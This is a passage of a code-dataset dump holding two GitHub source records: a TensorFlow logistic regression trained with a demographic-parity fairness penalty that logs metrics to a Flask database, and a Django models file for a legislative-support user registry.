sensitive_attribute)\n\n \n# Convert sparse matrices to dense matrices\n X_train = X_train.toarray() if scipy.sparse.issparse(X_train) else X_train\n X_test = X_test.toarray() if scipy.sparse.issparse(X_test) else X_test\n y_train = y_train.toarray() if scipy.sparse.issparse(y_train) else y_train\n y_test = y_test.toarray() if scipy.sparse.issparse(y_test) else y_test\n A_train = A_train.toarray() if scipy.sparse.issparse(A_train) else A_train\n A_test = A_test.toarray() if scipy.sparse.issparse(A_test) else A_test\n\n\n\n X_train = tf.cast(X_train, tf.float32)\n X_test = tf.cast(X_test, tf.float32)\n y_test = tf.cast(y_test, tf.float32)\n A_test = tf.cast(A_test, tf.float32)\n\n # Initialize the weights and bias\n w = tf.Variable(tf.random.normal([X_train.shape[1], 1], dtype = tf.float32))\n b = tf.Variable(tf.zeros([1], dtype = tf.float32))\n if np.isnan(w.numpy()).any() or np.isnan(b.numpy()).any():\n print(\"NaN value encountered in initial weights\")\n import pdb; pdb.set_trace()\n # Define the logistic regression model\n def model(X):\n X = tf.cast(X, tf.float32)\n return tf.keras.activations.sigmoid(tf.matmul(X, w) + b)\n\n # Define the fairness penalty\n\n def fairness_penalty(A_one_hot, predictions):\n A_one_hot = tf.cast(A_one_hot, tf.float32)\n predictions = tf.cast(predictions, tf.float32)\n group_predictions = tf.matmul(tf.transpose(A_one_hot), predictions)\n group_counts = tf.reduce_sum(A_one_hot, axis=0)\n\n # Debug: Check if group_counts contains zero\n if tf.reduce_any(tf.equal(group_counts, 0)):\n print(\"Zero value encountered in group_counts\")\n import pdb; pdb.set_trace()\n\n group_averages = group_predictions / group_counts[:, tf.newaxis]\n if tf.reduce_any(tf.math.is_nan(group_averages)):\n print(\"NaN value encountered in group_averages\")\n import pdb; pdb.set_trace()\n\n max_diff = tf.reduce_max(group_averages) - tf.reduce_min(group_averages)\n if tf.reduce_any(tf.math.is_nan(max_diff)):\n print(\"NaN value encountered in max_diff\")\n import pdb; pdb.set_trace()\n\n return max_diff\n\n\n # Define the custom loss function\n\n def loss_fn(y_true, y_pred, A_one_hot):\n y_true = tf.cast(y_true, tf.float32)\n y_pred = tf.cast(y_pred, tf.float32)\n A_one_hot = tf.cast(A_one_hot, tf.float32)\n epsilon = 1e-7\n\n log_y_pred = tf.math.log(y_pred + epsilon)\n if tf.reduce_any(tf.math.is_nan(log_y_pred)):\n print(\"NaN value encountered in log_y_pred\")\n import pdb; pdb.set_trace()\n\n log_1_minus_y_pred = tf.math.log(1 - y_pred + epsilon)\n if tf.reduce_any(tf.math.is_nan(log_1_minus_y_pred)):\n print(\"NaN value encountered in log_1_minus_y_pred\")\n import pdb; pdb.set_trace()\n\n log_loss = -tf.reduce_mean(y_true * log_y_pred + (1 - y_true) * log_1_minus_y_pred)\n if tf.reduce_any(tf.math.is_nan(log_loss)):\n print(\"NaN value encountered in log_loss\")\n import pdb; pdb.set_trace()\n\n fairness_loss = fairness_penalty(A_one_hot, y_pred)\n if tf.reduce_any(tf.math.is_nan(fairness_loss)):\n print(\"NaN value encountered in fairness_loss\")\n import pdb; pdb.set_trace()\n\n total_loss = log_loss + lambda_fairness * fairness_loss\n if tf.reduce_any(tf.math.is_nan(total_loss)):\n print(\"NaN value encountered in total_loss\")\n import pdb; pdb.set_trace()\n\n return total_loss\n\n # Define the optimizer\n optimizer = tf.optimizers.Adam(learning_rate=learning_rate)\n\n # Create a tf.data.Dataset object\n train_data = tf.data.Dataset.from_tensor_slices((X_train, y_train, A_train))\n\n # Shuffle and batch the data\n # batch_size = 32\n train_data = train_data.shuffle(buffer_size=1024).batch(batch_size)\n\n # Initialize lists to store the values for each iteration\n loss_values = []\n fairness_values = []\n accuracy_values = []\n model_id = str(uuid.uuid4())\n\n with tf.device('/GPU:0'):\n\n # Train the model\n for epoch in range(num_epochs): # number of training iterations\n predictions_list = []\n for batch_x, batch_y, batch_a in train_data:\n with tf.GradientTape() as tape:\n predictions = model(batch_x)\n if np.isnan(predictions.numpy()).any():\n print(\"NaN value encountered in predictions\")\n import pdb; pdb.set_trace()\n predictions_list.append(predictions)\n loss = loss_fn(batch_y, predictions, batch_a)\n if np.isnan(loss.numpy()).any():\n print(\"NaN value encountered in loss\")\n import pdb; pdb.set_trace()\n\n grads = tape.gradient(loss, [w, b])\n if np.isnan(grads[0].numpy()).any() or np.isnan(grads[1].numpy()).any():\n print(\"NaN value encountered in gradients\")\n import pdb; pdb.set_trace()\n\n optimizer.apply_gradients(zip(grads, [w, b]))\n if np.isnan(w.numpy()).any() or np.isnan(b.numpy()).any():\n print(\"NaN value encountered in weights\")\n import pdb; pdb.set_trace()\n \n # Calculate the fairness and accuracy for this iteration\n current_accuracy = np.mean((predictions.numpy() > 0.5) == batch_y)\n current_fairness = fairness_penalty(batch_a, predictions).numpy()\n\n # After the end of each epoch, concatenate the predictions for all batches\n epoch_predictions = tf.concat(predictions_list, axis=0)\n\n # At the end of each epoch, calculate the predictive rates and fairness metrics\n group_predictive_rates = calculate_predictive_rates_multigroup(y_train, epoch_predictions, A_train)\n # demographic_parity_difference, demographic_parity_ratio = calculate_fairness_metrics_multigroup(y_train, epoch_predictions, A_train)\n\n fairness_metrics_dict = calculate_fairness_metrics_multigroup(y_train, epoch_predictions, A_train)\n for group, predictive_rate in group_predictive_rates.items():\n group_metrics = fairness_metrics_dict[int(group)]\n\n # Create a dictionary of fairness metrics for the current group and epoch\n metrics = {\n 'predictive_rate': predictive_rate,\n 'demographic_parity_difference': group_metrics[0],\n 'demographic_parity_ratio': group_metrics[1]\n }\n \n metrics = convert_keys_to_int(metrics)\n \n # Create a FairnessMetrics instance and add it to the session\n fairness_metrics = FairnessMetrics(\n id=str(uuid.uuid4()),\n model_results_id=model_id,\n fairness_notion='demographic_parity',\n group=group,\n epoch=epoch,\n metrics=metrics\n )\n db.session.add(fairness_metrics)\n db.session.commit()\n\n predictions_list.clear()\n \n # Append the loss, accuracy, and fairness values for this epoch\n loss_values.append(loss.numpy())\n accuracy_values.append(current_accuracy)\n fairness_values.append(current_fairness)\n\n # Make predictions\n predictions_test = model(X_test)\n\n # Calculate the accuracy of the model\n model_accuracy = np.mean((predictions_test.numpy() > 0.5) == y_test)\n\n print(\"Test Predictions NaN: \",np.isnan(predictions_test.numpy()).any())\n print(\"Test Values NaN\",np.isnan(y_test).any())\n\n # Calculate the AUC score\n auc_score = roc_auc_score(y_test, predictions_test.numpy())\n\n # Calculate the fairness metric (demographic parity)\n fairness_score = fairness_penalty(A_test, predictions_test).numpy()\n \n # Store the results in a model database\n\n model_results = ModelResults(id=model_id, \n model_class='logistic_regression', \n fairness_notion='demographic_parity', \n learning_rate=learning_rate, \n lambda_fairness=lambda_fairness, \n batch_size=batch_size, \n num_epochs=num_epochs, \n loss_values=loss_values, \n accuracy_values=accuracy_values, \n model_accuracy=model_accuracy, \n auc_score=auc_score,\n fairness_score=fairness_score)\n \n db.session.add(model_results)\n db.session.commit()\n # end_time = time.time() # End measuring execution time\n # execution_time = end_time - start_time\n # print(\"Execution time: {:.2f} seconds\".format(execution_time))\n\n", "repo_name": "JaskaranSinghKawatra/FairnessProject", "sub_path": "flask_project/app/FairModels/logistic_regression_demographic_parity.py", "file_name": "logistic_regression_demographic_parity.py", "file_ext": "py", "file_size_in_byte": 9990, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "preprocessing.preprocess_data", "line_number": 14, "usage_type": "call"}, {"api_name": "scipy.sparse.issparse", "line_number": 18, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 18, "usage_type": "attribute"}, {"api_name": "scipy.sparse.issparse", "line_number": 19, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 19, "usage_type": "attribute"}, {"api_name": "scipy.sparse.issparse", "line_number": 20, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 20, "usage_type": "attribute"}, {"api_name": "scipy.sparse.issparse", "line_number": 21, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 21, "usage_type": "attribute"}, {"api_name": "scipy.sparse.issparse", "line_number": 22, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 22, "usage_type": "attribute"}, {"api_name": "scipy.sparse.issparse", "line_number": 23, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 23, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 27, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 27, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 28, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 28, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 29, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 29, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 30, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 30, "usage_type": "attribute"}, {"api_name": "tensorflow.Variable", "line_number": 33, "usage_type": "call"}, {"api_name": "tensorflow.random.normal", "line_number": 33, "usage_type": "call"}, {"api_name": "tensorflow.random", "line_number": 33, "usage_type": "attribute"}, {"api_name": "tensorflow.float32", "line_number": 33, "usage_type": "attribute"}, {"api_name": "tensorflow.Variable", "line_number": 34, "usage_type": "call"}, {"api_name": "tensorflow.zeros", "line_number": 34, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 34, "usage_type": "attribute"}, {"api_name": "numpy.isnan", "line_number": 35, "usage_type": "call"}, {"api_name": "pdb.set_trace", "line_number": 37, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 40, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 40, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.activations.sigmoid", "line_number": 41, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 41, "usage_type": "attribute"}, {"api_name": "tensorflow.matmul", "line_number": 41, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 46, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 46, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 47, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 47, "usage_type": "attribute"}, {"api_name": "tensorflow.matmul", "line_number": 48, "usage_type": "call"}, {"api_name": "tensorflow.transpose", "line_number": 48, "usage_type": "call"}, {"api_name": "tensorflow.reduce_sum", "line_number": 49, "usage_type": "call"}, {"api_name": "tensorflow.reduce_any", "line_number": 52, "usage_type": "call"}, {"api_name": "tensorflow.equal", "line_number": 52, "usage_type": "call"}, {"api_name": "pdb.set_trace", "line_number": 54, "usage_type": "call"}, {"api_name": "tensorflow.newaxis", "line_number": 56, "usage_type": "attribute"}, {"api_name": "tensorflow.reduce_any", "line_number": 57, "usage_type": "call"}, {"api_name": "tensorflow.math.is_nan", "line_number": 57, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 57, "usage_type": "attribute"}, {"api_name": "pdb.set_trace", "line_number": 59, "usage_type": "call"}, {"api_name": "tensorflow.reduce_max", "line_number": 61, "usage_type": "call"}, {"api_name": "tensorflow.reduce_min", "line_number": 61, "usage_type": "call"}, {"api_name": "tensorflow.reduce_any", "line_number": 62, "usage_type": "call"}, {"api_name": "tensorflow.math.is_nan", "line_number": 62, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 62, "usage_type": "attribute"}, {"api_name": "pdb.set_trace", "line_number": 64, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 72, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 72, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 73, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 73, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 74, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 74, "usage_type": "attribute"}, {"api_name": "tensorflow.math.log", "line_number": 77, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 77, "usage_type": "attribute"}, {"api_name": "tensorflow.reduce_any", "line_number": 78, "usage_type": "call"}, {"api_name": "tensorflow.math.is_nan", "line_number": 78, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 78, "usage_type": "attribute"}, {"api_name": "pdb.set_trace", "line_number": 80, "usage_type": "call"}, {"api_name": "tensorflow.math.log", "line_number": 82, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 82, "usage_type": "attribute"}, {"api_name": "tensorflow.reduce_any", "line_number": 83, "usage_type": "call"}, {"api_name": "tensorflow.math.is_nan", "line_number": 83, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 83, "usage_type": "attribute"}, {"api_name": "pdb.set_trace", "line_number": 85, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 87, "usage_type": "call"}, {"api_name": "tensorflow.reduce_any", "line_number": 88, "usage_type": "call"}, {"api_name": "tensorflow.math.is_nan", "line_number": 88, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 88, "usage_type": "attribute"}, {"api_name": "pdb.set_trace", "line_number": 90, "usage_type": "call"}, {"api_name": "tensorflow.reduce_any", "line_number": 93, "usage_type": "call"}, {"api_name": "tensorflow.math.is_nan", "line_number": 93, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 93, "usage_type": "attribute"}, {"api_name": "pdb.set_trace", "line_number": 95, "usage_type": "call"}, {"api_name": "tensorflow.reduce_any", "line_number": 98, "usage_type": "call"}, {"api_name": "tensorflow.math.is_nan", "line_number": 98, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 98, "usage_type": "attribute"}, {"api_name": "pdb.set_trace", "line_number": 100, "usage_type": "call"}, {"api_name": "tensorflow.optimizers.Adam", "line_number": 105, "usage_type": "call"}, {"api_name": "tensorflow.optimizers", "line_number": 105, "usage_type": "attribute"}, {"api_name": "tensorflow.data.Dataset.from_tensor_slices", "line_number": 108, "usage_type": "call"}, {"api_name": "tensorflow.data", "line_number": 108, "usage_type": "attribute"}, {"api_name": "uuid.uuid4", "line_number": 118, "usage_type": "call"}, {"api_name": "tensorflow.device", "line_number": 120, "usage_type": "call"}, {"api_name": "tensorflow.GradientTape", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 128, "usage_type": "call"}, {"api_name": "pdb.set_trace", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 133, "usage_type": "call"}, {"api_name": "pdb.set_trace", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 138, "usage_type": "call"}, {"api_name": "pdb.set_trace", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 143, "usage_type": "call"}, {"api_name": "pdb.set_trace", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 148, "usage_type": "call"}, {"api_name": "tensorflow.concat", "line_number": 152, "usage_type": "call"}, {"api_name": "fairness_metrics.calculate_predictive_rates_multigroup", "line_number": 155, "usage_type": "call"}, {"api_name": "fairness_metrics.calculate_fairness_metrics_multigroup", "line_number": 158, "usage_type": "call"}, {"api_name": "fairness_metrics.convert_keys_to_int", "line_number": 169, "usage_type": "call"}, {"api_name": "app.main.models.FairnessMetrics", "line_number": 172, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 173, "usage_type": "call"}, {"api_name": "app.db.session.add", "line_number": 180, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 180, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 180, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 181, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 181, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 181, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 196, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 197, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 200, "usage_type": "call"}, {"api_name": "app.main.models.ModelResults", "line_number": 207, "usage_type": "call"}, {"api_name": "app.db.session.add", "line_number": 220, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 220, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 220, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 221, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 221, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 221, "usage_type": "name"}]} +{"seq_id": "72697294728", "text": "# -*- coding: utf-8 -*-\nimport base64\nfrom django.contrib.auth.models import User\nfrom django.db import models\nfrom django.utils import timezone\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom atendimento.utils import UF, YES_NO_CHOICES\n\n\nclass CasaLegislativa(models.Model):\n nome = models.CharField(max_length=100, verbose_name=_('Nome'))\n sigla = models.CharField(max_length=100, verbose_name=_('Sigla'))\n endereco = models.CharField(max_length=100, verbose_name=_('Endereço'))\n cep = models.CharField(max_length=100, verbose_name=_('CEP'))\n municipio = models.CharField(max_length=100, verbose_name=_('Município'))\n uf = models.CharField(max_length=100,\n choices=UF,\n verbose_name=_('UF'))\n telefone = models.CharField(\n max_length=100, blank=True, verbose_name=_('Telefone'))\n endereco_web = models.URLField(\n max_length=100, blank=True, verbose_name=_('HomePage'))\n email = models.EmailField(\n max_length=100, blank=True, verbose_name=_('E-mail'))\n\n class Meta:\n verbose_name = _('Casa Legislativa')\n verbose_name_plural = _('Casas Legislativas')\n\n def __str__(self):\n return '[%s] %s' % (self.sigla, self.nome)\n\n\nclass Subsecretaria(models.Model):\n\n nome = models.CharField(verbose_name=_('Nome'), max_length=100, null=True)\n sigla = models.CharField(verbose_name=_('Sigla'), max_length=10, null=True)\n\n class Meta:\n ordering = ('nome', 'sigla')\n verbose_name = _('Subsecretaria')\n verbose_name_plural = _('Subsecretarias')\n\n def __str__(self):\n return '[%s] %s' % (self.sigla, self.nome)\n\n\nclass Telefone(models.Model):\n TIPO_TELEFONE = [('FIXO', 'FIXO'), ('CELULAR', 'CELULAR')]\n\n tipo = models.CharField(\n max_length=7,\n choices=TIPO_TELEFONE,\n verbose_name=_('Tipo Telefone'),)\n ddd = models.CharField(max_length=2, verbose_name=_('DDD'))\n numero = models.CharField(max_length=10, verbose_name=_('Número'))\n principal = models.CharField(\n max_length=10,\n verbose_name=_('Telefone Principal?'),\n choices=YES_NO_CHOICES)\n\n class Meta:\n verbose_name = _('Telefone')\n verbose_name_plural = _('Telefones')\n\n def __str__(self):\n return '(%s) %s' % (self.ddd, self.numero)\n\n\nclass ConfirmaEmail(models.Model):\n \"\"\"\n Classe de email\n \"\"\"\n email = models.EmailField(unique=True, verbose_name=_('Email'))\n confirmado = models.BooleanField(default=False)\n token = models.CharField(\n max_length=50, verbose_name=_('Hash do Email'))\n user_id = models.TextField(blank=True, verbose_name=_('ID do Usuário'))\n\n class Meta:\n verbose_name = _('Email')\n verbose_name_plural = _('Emails')\n\n\nclass Usuario(models.Model):\n '''\n Usuário cadastrado via web\n '''\n\n TIPO_VINCULO = [('Tercerizado', 'Tercerizado'),\n ('Efetivo', 'Efetivo'),\n ('Contratado', 'Contratado')]\n\n user = models.ForeignKey(User)\n username = models.CharField(\n verbose_name=_('Nome de Usuário'),\n unique=True,\n max_length=50)\n nome_completo = models.CharField(\n verbose_name=_('Nome Completo'),\n max_length=128)\n data_criacao = models.DateTimeField(\n _('Data Criação'),\n default=timezone.now)\n data_ultima_atualizacao = models.DateTimeField(\n default=timezone.now, verbose_name=_('Última atualização'))\n email = email = models.EmailField(unique=True, verbose_name=_('Email'))\n email_confirmado = models.BooleanField(\n default=False, verbose_name=_('Email confirmado?'))\n habilitado = models.BooleanField(\n default=False,\n verbose_name=_('Habilitado?'))\n conveniado = models.BooleanField(default=False)\n responsavel = models.BooleanField(default=False)\n rg = models.CharField(\n max_length=9,\n null=True,\n verbose_name=_('RG'))\n cpf = models.CharField(\n max_length=11,\n verbose_name=_('CPF'),\n default='00000000000')\n cargo = models.CharField(\n max_length=30,\n verbose_name=_('Cargo'),\n default='--------')\n vinculo = models.CharField(\n max_length=30,\n verbose_name=_('Vinculo'),\n choices=TIPO_VINCULO,\n default='--------')\n casa_legislativa = models.CharField(\n max_length=30,\n verbose_name=_('Casa Legislativa'),\n default='--------')\n primeiro_telefone = models.ForeignKey(\n Telefone, null=True, related_name='primeiro_telefone')\n segundo_telefone = models.ForeignKey(\n Telefone, null=True, related_name='segundo_telefone')\n\n class Meta:\n verbose_name = _('Usuário')\n verbose_name_plural = _('Usuários')\n\n def __str__(self):\n return self.username\n", "repo_name": "interlegis/atendimento", "sub_path": "usuarios/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 4865, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.db.models.Model", "line_number": 11, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 11, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 12, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 12, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 12, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 13, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 13, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 13, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 14, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 15, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 15, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 15, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 16, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "atendimento.utils.UF", "line_number": 18, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models.URLField", "line_number": 22, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 22, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 23, "usage_type": "call"}, {"api_name": "django.db.models.EmailField", "line_number": 24, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 24, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 25, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 28, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 29, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 35, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 35, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 37, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 37, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 37, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 38, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 38, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 38, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 42, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 43, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 49, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 49, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 52, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 52, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 55, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 56, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 56, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 56, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 57, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 57, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 57, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 58, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 58, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 60, "usage_type": "call"}, {"api_name": "atendimento.utils.YES_NO_CHOICES", "line_number": 61, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 64, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 65, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 71, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 71, "usage_type": "name"}, {"api_name": "django.db.models.EmailField", "line_number": 75, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 75, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 75, "usage_type": "call"}, {"api_name": "django.db.models.BooleanField", "line_number": 76, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 76, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 77, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 77, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 78, "usage_type": "call"}, {"api_name": "django.db.models.TextField", "line_number": 79, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 79, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 79, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 82, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 83, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 86, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 86, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 95, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User", "line_number": 95, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 95, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 96, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 96, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 97, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 100, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 100, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 101, "usage_type": "call"}, {"api_name": "django.db.models.DateTimeField", "line_number": 103, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 103, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 104, "usage_type": "call"}, {"api_name": "django.utils.timezone.now", "line_number": 105, "usage_type": "attribute"}, {"api_name": "django.utils.timezone", "line_number": 105, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 106, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 106, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 107, "usage_type": "attribute"}, {"api_name": "django.utils.timezone", "line_number": 107, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 107, "usage_type": "call"}, {"api_name": "django.db.models.EmailField", "line_number": 108, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 108, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 108, "usage_type": "call"}, {"api_name": "django.db.models.BooleanField", "line_number": 109, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 109, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 110, "usage_type": "call"}, {"api_name": "django.db.models.BooleanField", "line_number": 111, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 111, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 113, "usage_type": "call"}, {"api_name": "django.db.models.BooleanField", "line_number": 114, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 114, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 115, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 115, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 116, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 116, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 119, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 120, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 120, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 122, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 124, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 124, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 126, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 128, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 128, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 130, 